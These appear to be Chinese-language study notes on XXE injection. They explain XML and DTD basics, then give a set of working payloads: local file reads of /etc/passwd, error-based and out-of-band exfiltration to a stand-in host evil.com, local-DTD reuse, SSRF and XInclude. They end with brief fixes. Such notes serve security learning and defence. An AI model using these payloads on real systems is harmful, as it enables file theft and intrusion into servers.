XXE笔记

什么是XXE

XXE就是XML外部实体注入(XML External Entity)。XXE可以分为in-band XXE就是web程序即时响应攻击者的XXE-Paylod,另外一种则是out-of-band XXE也被称为blind XXE,web程序不会即使响应攻击的XXE-Payload,攻击者必须将XXE-Payload的输出放到其他文件或攻击者的服务器上。

XXE的危害:

  • 敏感文件泄露
  • Dos攻击
  • 伪造SSRF
  • 开启端口扫描导致远程代码执行

在学习XXE之前,我们要了解一些XML的基础知识。

什么是XML

XML是可扩展标记语言(eXtensible Markup Language)。

  • XML被设计用来传输和存储数据,(HTML被设计用来显示数据。
  • XML是一种很像HTML的标记语言,但是XML标签没有被预定义,需要自行定义标签,XML被设计具有自我描述性。
  • XML是W3C的推荐标准。

为什么使用XML

作用

  • XML数据从HTML中分离
  • XML简化数据共享,数据传输,平台变更。
  • 使用XML存储和传输的数据可以随时更改,而不会影响数据表示。
  • XML有严格的语法规定。
  • XML可以在任何平台上使用,也可以随时转移到任何平台。

XML语法

大部分XML文档都会以这个开头。

1
<?xml version="1.0" encoding="UTF-8"?>

这是序言,它指定XML文档中使用的XML版本和编码格式,序言不是强制性的。

XML同样也是树结构(和HTML类似,从根部(root,也被称为父节点)开始再到枝叶(子节点)。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<mail>
<to>falcon</to>
<from>feast</from>
<subject>About XXE</subject>
<text>Teach about XXE</text>
</mail>

<mail>是父节点<to><from><subject><text>这些都是子节点。同一级的子节点他们互相为同胞关系。如果XML文档没有任何根元素,则将其视为错误或无效的XML文档。XML标签和HTMl标签相似,成对标签(开始标签,结束标签)。

值得注意的是,XML文档有语法要求,它区分大小写。<to>你不能写成<To>,同样的XML文档和HTMl文档类似。所以在XML中,我们也能使用属性。

1
<text category = "message">You need to learn about XXE</text>

<text>category就是text标签的属性。

总结一下XML的规则

XML文档中

  • 必须包含根元素(父元素)
  • 所有元素都可以有子元素
  • 父,子,同胞用于描述元素之间的关系.
  • 所有元素都可以有文本内容和属性

语法规则

  • 必须有根元素
  • 序言在第一行
  • 所有xml元素都要闭合标签
  • xml标签 大小写敏感
  • xml必须正确嵌套
    • 不能<text><abc></text></abc>这样
  • xml属性必须加引号
  • 实体代替”<”等特殊字符
  • 注释和html一样 <!--more-->
  • xml文档中空格不会被删减
  • 元素/属性名称不能用xml开始
  • 不能空格开始(其他语言的基本命名规则)

XML-DTD

DTD是文档类型定义(Document Type Define)声明于xml文档中,也可以外部引用。

假设我们有一个note.dtd的文件。

1
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>

我们可以在XML中外部引入这个note.dtd

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>falcon</to>
<from>feast</from>
<heading>hacking</heading>
<body>XXE attack</body>
</note>
  • !DOCTYPE note 定义了一个名为note的文档根元素
  • !ELEMENT note - 定义note元素必须包含以下元素:to,from,heading,body
  • !ELEMENT to - 将to元素定义为”#PCDATA”类型
  • !ELEMENT from - 将from元素定义为”#PCDATA”类型
  • !ELEMENT heading - 将heading元素定义为” #PCDATA”类型
  • !ELEMENT body - 将body元素定义为”#PCDATA”类型

#PCDATA表示可解析的字符数据,类似于编程语言中双引号的效果还有一种#CDATA类似编程语言中单引号的效果

定义一个实体

实体在xml文档中需要频繁使用某一条数据,实体是用于定义普通文本获得特殊字符的快捷方式的变量,实体引用是对实体的引用,实体可在内部或外部进行声明。

内部实体直接定义<!ENTITY 实体名称 "值">

1
2
<!DOCTYPE note[<!ENTITY read "file:///etc/passwd">]>
<note>&read;</note> ##一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

外部实体

1
2
<!DOCTYPE note[<!ENTITY name SYSTEM "file:///etc/passwd">]>
<note>&name;</note>

内部参数实体

1
<!DOCTYPE note[<!ENTITY % name "hello">%name;]>

外部参数实体

1
<!DOCTYPE note[<!ENTITY % name SYSTEM "file:///etc/passwd"> %name;]>

参数实体在DTD中解析优先级高于xml内部实体

引入外部恶意DTD文件

在http服务器上部署一个恶意dtd文件,内容如下:

PAYLOAD1(触发XML解析错误):

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

PAYLOAD2(OOB带外xxe):

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://evil.com/?a=%file;'>">
%eval;
%error;

请求payload如下

1
2
<?xml version="1.0" ?>
<!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://evil.com/ext.dtd"> %ext;]>

XXE注入

基础注入

payload

1
2
<!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<note>&xxe;</note>
1
2
3
4

<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///C:/phpStudy/WWW/123.txt">
]>

这里的file可以甚至可以使用其他的php伪协议

引入本地DTD

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE a[
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

SSRF

1
2
<!DOCTYPE note[<!ENTITY xxe SYSTEM "http://vuln.com/password.txt">]>
<note>&xxe;</note>

Xinclude 攻击

1
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

xxe 文件上传攻击

漏洞一般

XXE 修复方式

  1. (php-libxml_disable_entity_loader()禁止解析xml外部实体
  2. 禁用对Xinclude的支持。

参考